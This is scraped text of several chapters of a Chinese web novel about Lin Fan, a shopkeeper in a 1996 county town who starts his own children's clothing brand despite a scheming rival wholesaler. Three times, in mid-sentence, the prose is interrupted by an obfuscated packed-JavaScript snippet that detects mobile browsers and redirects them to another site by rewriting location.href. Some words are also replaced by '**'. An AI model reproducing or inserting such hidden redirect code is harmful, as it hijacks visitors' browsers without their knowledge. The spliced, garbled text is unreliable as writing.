这次来探店,说不定是想看看店里的情况,要是有机会,就来捣乱——比如偷东西,或者故意找茬吵架,影响生意。 他回头看了眼笑笑,笑笑还在堆积木,没察觉到刚才的紧张,手里拿着块黄色积木,正往“房子”上搭,嘴里还哼着幼儿园教的歌。 心里更沉了——得保护好笑笑,不能让她受惊吓,上次黑皮来闹,笑笑吓得哭了半天,晚上还做噩梦。 更让他心里发紧的是第二天下午。 钱老西背着双手,慢悠悠地从店门口走过。钱老西是县城里的老批发商,以前给林凡供过货,总喜欢压价、掺次品; 上次给的一批童装,里面混了三件有破洞的,林凡找他换,他还说“小破洞不影响穿,你卖的时候便宜点就行”; 后来林凡就不跟他合作了,他还在背后说闲话,说“笑笑宝贝屋的货是次品,卖不出去才换货源”。 这次他不像平时那样直接进来找茬,而是站在玻璃门外往里面望,手里拿着个紫砂壶,壶嘴歪得厉害; 他抿一口时,茶水顺着壶嘴流到下巴,他用袖子随便擦了擦,袖子上的茶渍叠着茶渍,黑一块黄一块。 他的眼神像钩子似的,扫过文具货架,掠过玩具区,最后停在柜台上方,昨天林凡把浅灰的样品挂在了那里; 想试试客人的反应,淡灰的布料在阳光下很显眼,不少家长都问“这是新到的童装吗?看着挺软,多少钱一件”,有个妈妈还说“要是卖,我想给娃买一件,看着比别家的舒服”。 钱老西的嘴角勾了个笑,不是平时的干笑,是藏着琢磨的笑,像根弯钩子,眼角的皱纹挤成一团,盯着样品看了两秒,像是在算这块布值多少钱,又像在想怎么把这生意搅黄。 然后,他才慢悠悠地移开目光,背着手往街那头走,脚步比平时慢了半拍,走了几步还回头看了一眼店门,那眼神里的算计,林凡看得清清楚楚,像淬了冷的冰。 两人的目光隔着玻璃碰了一下,钱老西没说话,只是轻轻点了点头,那点头不像打招呼,更像一种“确认”——确认林凡在搞“新花样”。 林凡的心“咯噔”一下,像被冰锥戳了下,凉得慌。 这个老狐狸,鼻子太灵了——他是不是看出样品不对劲? 是不是察觉到自己在搞“新花样”,想自己做童装,不再从批发商手里拿货?要是被他知道了,说不定会找红星厂的麻烦—— 比如跟徐主任说“林凡付不起加工费,是骗子”,让徐主任停工;或者在县城里散布谣言,说自己的衣服质量差,是“小作坊做的,不卫生,孩子穿了会生病”。 他赶紧走过去,把样品从挂钩上取下来,叠的时候,手指蹭到了样品上的白绒,绒掉在柜台上,他赶紧用手抹掉,生怕留下痕迹。 塞进抽屉后,还把进货账本压在上面,账本有两指厚,刚好挡住样品的边角,连一点布料都没露出来—— 是他太急了,忘了这小县城的风传得快,一点新动静都能被人盯紧,这不是给人递把柄吗?以后得更小心,样品不能随便露出来,跟红星厂的合作也得保密,连熟客都不能说。 可开弓没有回头箭。 十天的期限快到了,样品马上要做好,定金都付了,现在退缩,不仅亏了钱,还丢了机会,更对不起自己心里的那点盼头; 那是让笑笑过上好日子的盼头,是让“笑笑宝贝屋”活下去的盼头。 林凡咬了咬牙,指节捏得发白,心里定了主意:只能更小心。他拉过王猛,声音压得低低的,几乎凑到王猛的耳朵边: “最近要是再看到陌生面孔,别跟他们说话,也别让他们在店里多待,要是他们问东问西,你就说不知道,有事等我回来。 一有不对劲,就立刻关门走人,我尽快出去把事情办好,然后尽快回来;还有,别跟任何人说咱们自己做童装的事,尤其是钱老西那边的人。 他跟不少批发商都认识,要是传出去,说不定会联合起来压咱们,让咱们进不到货,也卖不出货。” 王猛赶紧点头,拍着胸脯保证:“你放心!我盯着呢!谁要是敢来**,我就喊隔壁的张叔、李哥他们帮忙—— 张叔以前是退伍军人,能打!上次有小混混来抢东西,被张叔一脚踹翻了,再也不敢来了!绝不让他们欺负咱们,也不让笑笑受委屈!” 终于到了第十天。林凡一大早就起了床,给笑笑煮了鸡蛋和小米粥,鸡蛋是土鸡蛋,黄澄澄的,是张阿姨送的,说“给笑笑补营养”; 小米粥熬得黏糊糊的,放了点冰糖,笑笑喜欢吃甜的,还加了点红枣,是上次林凡赶集买的。看着笑笑吃完; 就把她背上,笑笑上衣的拉链坏了,用个小夹子固定着,上面还挂着笑笑做的纸青蛙;送她到店里王猛身边,才背着背包去了汽车站。 红星厂的车间里,五件样品整齐地摆在桌上,浅蓝、米白各两件,还有一件鹅黄色的备用款——像小鸭子的颜色,格外可爱,是徐主任特意加的,说“多做一件, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607501|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让你多看看”。 100、110、120厘米的尺码都齐了,叠得方方正正,上面还放着张纸条,是徐主任写的,字很工整:“样品已预洗(冷水浸泡30分钟,正常晾晒),无缩水,无掉色,可放心——我家小孙女试穿了,说软得很。” 林凡拿起一件浅蓝110码的,手指捏着领口轻轻拉了拉,松开后立刻弹了回去,没变形;翻到里面看锁边,密得没一根线头,针脚走得笔直,像用尺子量过似的; 又拿尺子量了量衣长,55厘米,跟图纸上的分毫不差;袖长32厘米,也刚好;口袋确实加深了一厘米,他试着放了个小弹珠进去,刚好能装下,晃了晃,不会掉出来——比他想的还完美,连细节都没差。 “徐主任,手艺没说的!比我想的还好!” 林凡的语气里满是感激,手里的样品摸了又摸,舍不得放下,指尖蹭过布料,软乎乎的,心里暖得很,像揣了个小太阳。 徐主任笑着递过打印好的合同,钢笔帽拧得开,放在合同旁边: “那就按这个标准来。浅蓝、米白各50件,100-120码各占三分之一,十天后交货——到时候你过来取,或者我让厂里的车帮你送过去?送过去不用加钱,咱们都是实在人,不搞那些虚的。” 林凡接过合同,一笔一划写得认真,名字签得有力,生怕出半点差错——他特意看了合同里的条款,写着“无残次,如有残次,免费返工”,还盖了厂里的红章,才放心。 付了剩余的定金(975元),他把一件浅蓝样品揣在怀里——这次他没敢再露出来,裹在背包最里面的旧毛衣里,贴着胸口,像护着颗滚烫的心,生怕被人看见,连走路都放轻了脚步。 返程的路上,夕阳把天空染成了橘红色,像撒了把碎金,云朵被染得层层叠叠,像棉花糖,有的像小鸭子,有的像小兔子,飘得慢悠悠的。 田野里的麦苗是嫩绿色的,被风吹得晃悠悠的,像铺了层软乎乎的绿毯,旁边的田埂上有个老农在放牛,牛是老黄牛,身上的**有点黄,甩着尾巴,慢悠悠地走着,嘴里还嚼着草; 老农嘴里哼着小调,调子有点耳熟,是林凡小时候听奶奶唱的童谣《月亮光光》,“月亮光光,照在窗上,娃娃睡觉,梦里花香”,听得他心里软乎乎的。 林凡望着窗外,心里又甜又紧——甜的是自己的“牌子”终于要做出来了,以后笑笑就能穿自己店做的衣服,不用再穿洗得发白的旧衣服,还能跟小朋友炫耀“这是我爸爸做的”; 紧的是钱老西和那些没散的暗流,不知道什么时候会冒出来,咬他一口,说不定会在交货的时候搞破坏; 比如在路上拦车,把衣服弄脏;或者在顾客面前说坏话,让大家不敢买,到时候不仅亏了钱,还对不起徐主任的信任。 他摸了摸怀里的样品,软乎乎的布料贴着掌心,像笑笑睡熟时搭在他手上的小手,暖得能化了心里的紧劲。他想起笑笑昨天晚上跟他说的话: “爸爸,等咱们自己做的衣服做好了,我要穿浅蓝的,去学校给小朋友看,说这是爸爸做的,爸爸最厉害!还要给张阿姨的孙子也送一件,他上次帮我捡了橡皮。” 想着想着,嘴角就忍不住往上扬,心里的甜压过了紧,连风都觉得暖了。 家的暖,商海的冷,缠在一块,推着他往前走。 哪怕前面有风浪,他也得扛着——为了笑笑,为了王猛的信任,为了这个好不容易才看到的、带着光的希望。 车子驶进县城时,街灯又亮了,黄澄澄的光裹着晚风,吹在脸上,带着点饭菜的香味;“李记面馆”的牛肉汤味更浓了,还混着点辣椒油的香; 巷口张婶家的烟囱冒着轻烟,炒青菜的香味混在风里吹出去,勾得远路归来的人的肚子咕咕叫。 林凡攥紧了背包带,目光坚定地望向“笑笑宝贝屋”的方向—— 店里的灯还亮着,从玻璃门里能看到王猛的身影; 他正在整理童装区的货架,低着头估计在和笑笑说话,时不时往门口望一眼,是在等他,像在等一个盼头。 新的挑战或许就在眼前,像暗处的蛇,随时可能扑过来。 但他已经准备好了,像握着手里的样品,布料软却有韧劲,能扛住风雨。 只要能让笑笑过上好日子,能让“笑笑宝贝屋”立住脚,再难的路,他都能走下去。 第三十六章:起心动念之间 1996年的清水县 国营厂的烟囱还在断断续续吐着青灰色的烟。 风一吹就散成淡雾,裹着点煤屑味飘进巷弄,落在个体商户新钉的木招牌上,那些招牌多是红漆手写;“晨光文具店”四个字边缘还沾着没擦净的漆点,风吹过时,木牌会轻轻晃,撞着旁边挂的铁皮铃铛,叮铃响。 红星纺织厂的纱锭转得慢了,“咔嗒咔嗒”的织机声稀了,县百货大楼的玻璃柜台蒙了薄尘,指腹一擦就能沾起层灰;而“晨光文具店”门口那两块青石板,被往来的脚步磨得发亮,正承接着林凡和王猛人生里第一波创业的细碎声响; 有拆纸箱的“刺啦”声,有手指捻布料的“沙沙”声,还有两人压低了的、藏着期待的交谈声。第一批一百件“笑笑牌”童装到货那天,天刚蒙蒙亮,巷子里还飘着早点铺炸油条的油香,混着煤炉的烟火气,勾得人肚子发空。 林凡骑着那辆除了铃铛不响哪儿都响的二八大杠自行车,车链吱呀吱呀磨着铁皮,后轮辐条缠了截断绳,一转动就拍打着挡泥板,“啪嗒啪嗒”跟着他的脚步响。 后座绑着三个鼓鼓囊囊的纸箱,纸箱角蹭着他的卡其布裤腿,磨得裤子起了层细毛;车把上挂着王猛托人捎来的半袋馒头,是巷口早点铺五毛钱一个的白面馒头,还带着点温乎气,塑料袋上凝着细小的水珠。 两人蹲在文具店门口拆箱时,硬纸板被指甲抠出的毛边里,裹着老供销社仓库特有的霉味——那仓库在县城西头,原是存化肥的地方,后来供销社改制,隔出个小角落租给散户,月租五块钱。 林凡上次去搬货,手指蹭过墙角的绿毛,黏糊糊的还带着潮冷的气,连呼吸都能闻见陈年土腥味混着旧麻袋的霉味,呛得他忍不住皱了眉; 王猛则直接抹了把鼻子,指尖沾了点灰,又蹭在裤腿上。王猛的拇指缠着圈发黄的旧胶布,胶布边缘卷了边,沾着点黑色的机油印—— 是前晚帮邻居修自行车时,被锋利的纸壳划了道口子,他当时随便找了块胶布缠上,没顾得上剪齐。这会儿他攥着美工刀划开胶带,“刺啦”一声脆响,纸屑粘在两人满是老茧的指缝里,混着王猛掌心没洗干净的机油味—— 那油污渗进指缝,他用肥皂洗了三遍,指甲缝里还是泛着黑。 一掀开裹在童装外面的白色软纸,新布料的棉絮香就涌了出来,还裹着股老肥皂的淡皂角味——那是红星厂张师傅浆洗时用的“灯塔牌”胰子,国营老厂的老物件,比后来的洗衣粉多了股土腥味的干净。 张师傅浆洗时,会把布料晾在厂子里的铁丝上,旁边就是老槐树,风一吹,槐树叶的清香就沾在布上,现在还能闻到点淡味。 1996年的清水县,红星厂是唯一的国营纺织厂,前两年因为订单减少了近三成,老师傅们的月工资从八十块降到了五十块,闲下来才接些私人定制的活。 林凡为了搭上线,托了三姨夫——三姨夫是红星厂的门卫,跟纺纱车间的张师傅是老战友,两人年轻时一起在部队喂过马。 林凡前后跑了四趟厂,第一次拎了两斤白糖,张师傅没接;第二次带了自家腌的咸菜,张师傅才留他喝了杯热茶。 光等纱线就等了半个月,张师傅说“好棉得等新疆那边运过来,市面上的短绒棉太糙,给娃穿不得”,林凡便每周去厂子里盯进度,有时赶上张师傅加班; 还帮着递杯热茶,看他戴着老花镜,眼镜滑到鼻尖也没扶,只是眯着眼,指尖捏着纱线凑到窗边的光线下看,每根纱线都要在指尖捻三遍,确认没有**糙才往织机上绕,织机“咔嗒咔嗒”响,纱线穿过综丝的声音细得像蚊子叫。 有次林凡撞见张师傅把不合格的纱线扔进废料筐,那筐里已经堆了小半筐,张师傅抓起一把短绒棉纱,手腕一扬就扔进去,“咚”的一声,纱线溅起细棉絮,他盯着筐里说: “娃的衣服不能凑活,这纱线织出来的布,洗两次就起球,咱不能坑人家爹妈。” 林凡伸手捏起件浅蓝T恤,指尖刚碰到布料,就觉得软乎乎的,还带着点阳光晒过的温乎气。 那是32支新疆长绒棉的特性,纤维比普通棉长两毫米,摸起来像三伏天晒透的棉被里子,软中带着点温吞的糙感,洗十次都不会发硬。 他对着刚爬过墙头的阳光举起来,布料透过来的光是淡淡的蓝,像初夏的天空,透光却不透亮——纱线织得密,连袖口的走线都齐整得能当尺子量,针脚细得要用指尖捋着才能数清,每厘米八针,一根都不差。 他低头看了眼自己身上那件洗得发蓝的的确良衬衫,衣襟处的走线早就歪了,袖口磨出的毛边能揪出细纱,是三年前在夜市地摊上花八块钱买的,去年洗的时候领口破了个小洞,他用针线缝了缝,一直穿到现在都没舍得扔。 “这料子真顶!” 王猛凑过来,粗手掌攥着衣摆使劲扯了扯——他年轻时在工地搬砖,手上力气大,普通棉布经他这么一扯准变形,去年帮邻居搬家具时,他攥着棉布沙发套都拽出了褶子。 可这T恤却只轻轻弹了弹,松了手就恢复了原样,连点褶皱都没留。王猛嗓门本就大,这会儿一激动,声音撞在对面供销社的水泥墙面上,反弹出点嗡嗡的回音: “嘿!这料子软得能当尿布用!比我家娃那件洗硬了的旧褂子软十倍!我家娃上次穿那旧褂子,哭着说‘扎胳膊’,我媳妇用热水泡了三次,又用石头捶了捶,还是硬邦邦的!” 这话正巧被路过的刘大妈听见了。她拎着的菜篮子里,青椒是刚从早市挑的,带着点露水,塑料袋一捏就“窸窣”响; 还有块刚从肉铺割的五花肉,是三层肥两层瘦的好肉,油汁顺着篮子底的细缝往下滴,落在青石板上,晕开小小的油圈,风一吹,油味混着油条的香飘过来。 刘大妈吸了吸鼻子,才停下脚,探着脖子往纸箱里瞅,眉头皱得能夹起根针: “猛子,这是啥新鲜玩意儿?你俩不卖作业本,改卖衣服了?” 林凡赶紧递过件米白T恤: “刘姨,这是咱自己找厂做的童装,纯棉的,给娃穿舒服。” 刘大妈手指捏着衣摆扯了扯,又凑到鼻子前闻了闻,嘴角往下撇:“倒是不呛人,就是这‘自制’的,能比大楼里的强? 去年我在大楼买的‘小白兔’,虽说贵点,但洗了没变形,你这要是洗缩了,不白花钱?” 说着便摇着头走了,菜篮子里的五花肉还在滴油,滴在青石板上的油点,被风吹得慢慢晕开,最后淡成了浅印子。 林凡没急着辩解,他搬来梯子——这梯子是去年收废品时从老王家淘的,木梯腿裂了道缝,他用铁丝缠了三圈,缠得紧紧的,上次修灯泡时踩上去,连晃都没晃。 他把十件不同尺寸的T恤挂在最显眼的货架上,那货架原是放作业本和笔记本的,层板上还留着点蓝黑油墨味,是之前摆的“英雄牌”笔记本蹭的,这会儿跟童装的棉香缠在一起,倒生出种特别的烟火气。 旁边要贴标语,他特意选了张厚瓦楞纸——是之前进文具剩下的包装纸,硬挺还防潮,上次下雨淋了点水都没烂。 红墨水用的是“英雄牌”,渗进纸纤维里不会掉色。他握着毛笔,手腕悬着,笔尖在瓦楞纸上顿了顿才往下写—— 前晚他在灯下练了二十多张废报纸,废报纸堆在桌角,最上面那张还沾着墨渍,是写“舒”字时毛笔蘸墨太多洇的,他当时懊恼地拍了下桌子,把笑笑都吵醒了。 现在写“‘笑笑’自制纯棉童装,舒适透气,限量试销”,“舒”字的竖钩写得格外有力,墨汁红得鲜亮。 笑笑凑在旁边,用蜡笔在标语右下角画了个歪歪扭扭的笑脸,眼睛画成了两个圈,嘴巴翘得老高,画完还举着蜡笔问“爸爸,像不像我?”,眼睛亮晶晶的,睫毛忽闪忽闪,倒给严肃的标语添了点活气。 定价时最费心思。林凡把算盘摆在柜台上,算得额头冒了层薄汗,汗珠顺着鬓角往下滑,他用袖子擦了擦,又继续拨算盘珠。长绒棉八块钱一斤,一件T恤要耗三两棉,光布料就两块四; 红星厂的加工费一件一块五,张师傅说“给娃做的要锁边密点,浆洗得用胰子”,又加了五**;还有软纸包装、吊牌—— 吊牌是找县印刷厂印的,红底白字,印了个小小的笑脸,一百个吊牌五块钱,印刷厂的老李还特意多送了五个,说“给娃的东西,多备点好”。 算下来一件成本四块六。 他摸着算盘上姥姥塞给他的二十块定金,那钱是姥姥用蓝布手绢包着的,手绢边角都磨破了,里面裹着两张皱巴巴的十块,还带着鸡窝的温乎气和淡淡的土腥味—— 姥姥凌晨四点就去菜市场,蹲在角落卖鸡蛋,十个鸡蛋一块五,卖了二十多个才凑够,她塞钱的时候,手都在抖,说“凡子,别怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607502|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,姥姥还能再卖鸡蛋”。 指腹在冰凉的算盘珠上蹭了蹭,他想起表哥的话:“你这文具店每月才赚百八十块,别折腾童装了,去年东头老陈搞服装,压了一屋子货,最后只能论斤卖,赔得连烟都抽不起了!” 表哥皱着眉,手指敲着桌子,话里带着急,却还是从抽屉里拿出三百五——那钱是他攒着买自行车的,叠得整整齐齐。林凡最终咬咬牙,定了十五块一件。 这价格在当时的清水县很微妙:比巷尾杂牌童装高五块——那些杂牌是掺了30%化纤的,成本才两块,上个月有个妈妈来买作业本时抱怨,说给娃买的杂牌T恤,洗两次就起球,领口卷得像朵蔫了的花; 比县百货大楼低十五块——大楼里的“小白兔”牌纯棉童装要三十块,还是前年的老款式,上次林凡去看,货架上的样品都落了灰,领口的线都松了。 林凡心里没底,怕太贵没人买,又怕太便宜亏了本,那点纠结全揉进了指尖的薄汗里,把算盘珠都沾得发潮。 王猛在旁边啃馒头,馒头咬得“咯吱”响,含糊着说: “十五块不贵,咱这料子好,值这个价!我上次在工地见工友给娃买的化纤衣,还十二块呢,穿三天就扎得娃哭,后背都挠红了!” 起初几天,顾客多是来买橡皮、铅笔盒的,路过童装区时眼神飘着,没人敢伸手。穿蓝涤卡上衣的赵阿姨是第一个停下的,她是红星厂退休的检验员,一辈子跟布料打交道,最是挑剔。 去年她在巷尾买过件杂牌童装,洗了三次就缩成了娃娃衫,孙子穿不了,只能送给邻居家的小娃,想起这事她就心疼。 她伸手碰了碰T恤袖子,指尖刚碰到布料又赶紧缩回去,像怕沾了什么似的,眉头皱着: “自制的能靠谱? “别洗两次就变形,我家小子上次穿的杂牌,洗了三次就缩成娃娃衫了,领口还卷得像朵花。” 林凡赶紧搬了张掉漆的木凳放在旁边,那凳子是他从老家带来的,凳面有圈圈清晰的年轮,是爷爷年轻时打的,爷爷说“这凳子结实,能坐一辈子”。 他把米白T恤摊在膝盖上,指着领口说: “赵姨您摸摸,这棉线是新疆长绒棉,我去红星厂盯了三天,看着张师傅纺的纱。张师傅纺了三十年纱,手上的茧子比这布料还厚,上次有批纱线纤维短了点,他直接扔了,说‘给娃用的,不能凑活’。” 王猛则守在旁边,手里转着个卷笔刀——那是店里卖不动的样品,刀片都钝了,转起来“咔啦”响——大嗓门亮得能掀了屋顶: “咱这是实打实的料!不是那种掺化纤的次品,去年我邻居家娃穿化纤衣,后背起了一片红疹,哭了半宿!您看这领口,用的是双股线锁边,洗了绝不会卷!” 赵阿姨还是犹豫,手指在布料上捻来捻去,没说话。倒是有个扎羊角辫的小姑娘,拽着妈妈的衣角凑了过来,羊角辫上的红绳晃来晃去,指尖轻轻戳着T恤上的小口袋,布料摩擦出细碎的“沙沙”声: “妈妈,我想装糖,装我的橘子糖。上次我的糖放在兜里,都化了,黏糊糊的,洗了半天才掉。” 妈妈皱着眉把她拉开,声音压得低低的: “再看看,别买亏了,上次在集市买的衣服,回家才发现腋下有个洞,找摊主还不认账,摊主说‘你自己穿坏的’,气得我好几天没睡好。” 林凡看着她们的背影,手指无意识地捻着衣角,心里有点发慌——他想起上个月为了凑五百块定金(红星厂要先付三成定金),跑遍了三家亲戚: 二姨家养猪,刚卖了两头小猪,犹豫半天借了五十,二姨塞钱时说“这钱你要是赔了,不用急着还”;三舅是小学老师,每月工资才一百二,给了一百,还反复叮嘱“别跟人瞎折腾,文具店好好开着就行”; 最后找表哥借了三百五,表哥说“你这文具店都快撑不下去了,还搞童装,要是赔了,你咋养笑笑?” 夜里他翻来覆去睡不着,满脑子都是堆成山的童装卖不出去的样子,连梦里都是仓库的霉味,现在那点慌又冒了头,像吞了口生米,硌得慌。 转机在周六上午悄然而至。 常来买教案本的李老师领着五岁的妞妞进了店,身上带着粉笔灰混着“六神”花露水的味道——李老师在县二小教语文,每天要写三黑板板书,袖口总沾着**笔末,上次写板书时粉笔断了,还溅了一身灰; 第三十七章:问心无愧于爱 花露水是妞妞吵着要买的,说是“能赶走蚊子”,李老师咬咬牙花了三块五买了瓶,自己都舍不得用,只在妞妞睡前往她衣领上喷一点。 刚跨进门槛,妞妞的小皮鞋就踩在水泥地上“哒哒”响,像小鼓槌敲在心上——她的小皮鞋是红色的,鞋尖有点磨白,跑起来时小裙子飘起来,像朵小花儿。 妞妞扯着李老师往童装区跑,小手指着米白T恤的小口袋,声音脆生生的: “妈妈,你看!能装我的小熊糖!上次我的糖装在兜里,化了黏在裤子上,洗了半天才掉!” 林凡赶紧取了件小号的,指尖顺着领口轻轻展平——领口缝了圈细细的罗纹,是张师傅特意加的,怕磨着孩子娇嫩的脖子,上次张师傅给自家孙女做衣服,也加了这罗纹,说“娃的脖子嫩,粗布磨得疼”。 “试试吧,不合身咱再换,要是觉得紧,我明天就去红星厂找张师傅改,张师傅改衣服可仔细了,上次给邻居家娃改裤子,改完跟新的一样。” 他笑着说。 妞妞迫不及待地把胳膊伸进袖子里,小手在布料里蹭来蹭去,咯咯笑出声: “软!比我的娃娃衣服还软!娃娃衣服洗了会硬,上次我穿娃娃衣服,胳膊都磨红了!这个不会!” 李老师蹲下来,指尖顺着走线摸了一圈,没找着一根线头——张师傅之前跟林凡说过, “给娃做的衣服,线头得剪干净,不然勾着皮肤疼,咱不能糊弄孩子”, 上次有件衣服漏剪了线头,张师傅连夜找出来剪了,还跟林凡道歉。她又翻出吊牌看了看,红底白字的吊牌上,那个小小的笑脸跟妞妞画的有点像。 “多少钱一件?”李老师问。 “十五。”林凡答。 听到价格,李老师愣了愣; 县百货大楼的“小白兔”牌要三十块,还没这个软,上次她买的“小白兔”,洗一次领口就卷边,还掉**,妞妞穿了总挠脖子,脖子都挠红了,她再也没敢给她穿,现在还压在衣柜最底下,占地方。 她又拿起条浅蓝裤子比对,裤子腰是松紧的,用的是氨纶松紧带,弹性十足,她拉了拉松紧带,松开后立刻弹了回去,比家里那条洗松了的裤子好多了。 “这裤子好,孩子穿脱方便,我家妞妞总系不好扣子,每次上学都要我帮她系半天,上次还迟到了,被老师说了两句。” 付完钱,妞妞扯着T恤下摆转圈圈,布料窸窣响,像风吹过田埂上的麦穗。李老师跟林凡闲聊: “比我在大楼买的强多了,那件‘小白兔’的,洗一次领口就卷边,还掉**,妞妞穿了总挠脖子,脖子都挠红了,我再也没敢给她穿,扔了又可惜,留着占地方。” 这话落进林凡耳朵里,像喝了口刚煮好的玉米粥,从嗓子暖到胃里。 他攥着钱的手都有点抖,纸币被指腹蹭得发毛——悬了半个月的心,终于落了点地,连货架上那些卖了半个月还没卖完的作业本,都好像顺眼多了,上次他还愁这些作业本卖不出去,要压本钱。 有了第一个顾客,口碑像春藤似的慢慢爬满了清水县的巷弄。 接下来几天,熟客们陆续来问:穿碎花衬衫的周大嫂来了,她是个爽快人,一进门就大着嗓门喊, “李老师说你家童装好,我给双胞胎孙子买!”,碎花衬衫是去年做的,洗得有点发白,却干干净净。 她指着两件蓝白T恤,“大的穿蓝的,小的穿白的,省得他俩抢”,还特意让林凡在领口绣“大”“小”两个字,“绣得小点儿,别硌着娃”。 林凡找巷尾刺绣坊的刘姐帮忙,加了五毛钱手工费,刘姐戴着老花镜,一针一线地缝,“给娃的字,得周正”,绣完还对着光看了看,确认没歪才交给林凡; 开自行车修理铺的老张也来了,他手上沾着黑机油,进门先在围裙上擦了又擦,擦了三遍,指尖还是有点黑,他不敢直接碰T恤,只是凑过去看, “我家丫头穿化纤的总哭,说痒,半夜都醒”,说着就用指腹轻轻碰了碰布料,“这软和”,声音里带着点不确定,又扯了扯领口,见没变形,才松了口气。 “要粉色的,丫头喜欢粉色,上次看见邻居娃穿,回家就吵着要”;连供销社的王主任都来了,她平时只买百货大楼的货; 觉得“个体店的东西不靠谱”,上次她在个体店买过双鞋,没穿一周就开胶了,这次试了件浅黄的T恤,摸了摸布料说“给我外孙女带的,这料子比大楼的软,还便宜十五块,值了”,说着就掏了钱,连价都没还; 最让林凡意外的是赵阿姨,她三天后拎着钱老西家买的浅蓝T恤找过来,那T恤领口已经卷成了麻花,袖口还勾了丝,她手里攥着孙子的胳膊,胳膊上隐约有片淡红色的疹子,声音带着急: “林小子,你看这!前天听那老钱说便宜,给我家小子买了件,穿了两天就挠得睡不着,你摸摸这料子,硬得像砂纸!我家小子说‘没有林凡叔叔家的软’,这不赶紧来你这儿换两件!” 林凡接过那件仿品,指尖一捻就摸到粗糙的化纤丝,针脚歪得能塞进指甲,他从货架上取了件正品递过去:“赵姨,你让孩子试试这个,要是还痒,我退你钱。” 后来赵阿姨的孙子穿了正品,疹子没两天就消了,她又拉着同厂三个退休姐妹来买,说“咱老红星人就认实在料子,别让那黑心货坑了娃”。 一百件T恤没到两周就卖空了。 最后一件被隔壁杂货店的陈阿姨买走时,林凡翻着账本——账本是用小学生的练习本改的,封面写着“三年级(2)班李明”,是之前进货多了剩下的; 每笔收入都用蓝笔写,支出用红笔,有次他写错了数字,还用橡皮蹭了半天,蹭得纸都薄了,差点破了。 上面的数字被他的指腹蹭得有些模糊,他却能背下来:一百件,一千五百块。他想起1994年在夜市摆摊的日子:那时候他刚下岗,进了五十条靛蓝色牛仔裤,摆在电影院门口的路灯下,路灯的光黄乎乎的,照得裤子颜色发暗。 结果被钱老西雇人换了三条残次品——裤脚有破洞,拉链还坏了,有个顾客买了后,第二天就来找他退,说“你这是卖的破烂”。 那天他蹲在路灯下数着皱巴巴的零钱,眼泪止不住地掉,泪珠砸在钱上,晕开小小的湿痕,连路过的狗都绕着他走,他心里又酸又涩,连晚饭都没吃。 现在看着账本上的“1500元”,鼻子突然有点酸——原来踏实做事,真的能有回报,不像之前总被人坑。 初步成功让两人信心大增。林凡拿着算盘重新算成本:布料240块(100件×2.4元)、加工费200块(100件×2元)、包装50块、定金500块早结清了,净利润有510块。 这个利润率比批发作业本高了近一倍——之前批发作业本,一本赚两分钱,利润率才15%,上个月批了一千本,才赚二十块,而童装能到34%。 他拿着账本去找王猛时,王猛正蹲在门口啃馒头,馒头夹了片自己腌的酱菜,酱菜有点咸,他啃一口就喝口凉水。 看到数字时,王猛差点把馒头掉在地上,嘴里的馒头还没咽下去,含糊着说: “真这么多?那咱下次多做!三百件够不够?我家娃穿了,邻居都问哪儿买的,我都记着有五个人要呢! 上次隔壁老王还说,要是做童裤,他也买两条!”林凡点头,心里已经有了主意—— 立刻联系红星厂订三百件,除了T恤,再加童裤和淡黄色T恤,还特意找巷口修鞋的老张设计“笑脸向日葵”布标,“绣在胸口,黄色的笑脸,绿色的叶子,让人一眼就记住,仿也仿不像”。 老张拍着胸脯说“这布标我给你绣得密点,别人想仿都难,针脚细得他们学不来”。那天晚上他睡得特别香,梦里都是布料的棉香,直到钱老西的人找上门,才把那点甜气搅得稀碎。 那天上午的阳光有点晃眼,照在店门口的梧桐树上,光斑晃得人眼晕。 一个面生的中年妇女走进来,脚步轻得没声,穿着件洗得发白的蓝涤卡上衣,袖口补了块灰布,补丁的线脚歪歪扭扭,一看就是自己缝的,针脚还露在外面,一扯就能松。 她手指上戴着个银戒指,是地摊货,边缘卷了,沾着点灰,戒指上的花纹都磨平了,看不出原来的样子。 她没看别的,直奔童装区,拿起样品T恤翻来覆去地看,指甲盖刮着布料,“沙沙”响,像在刮砂纸; 又掏出个掉漆的放大镜,镜片上有道裂痕,不知道用了多少年,镜柄上还缠着圈胶布,她眯着眼,对着线脚瞅了半天,连标签位置都用手指按了按,按得有点重,吊牌都变了形; 最后还捏着领口扯了扯,力道比赵阿姨还大,像是在故意测试布料的弹性——上次钱老西派人去看林凡的牛仔裤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607503|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也是这么扯的。 那动作太专业,林凡心里“咯噔”一下,手里整理作业本的动作慢了下来。 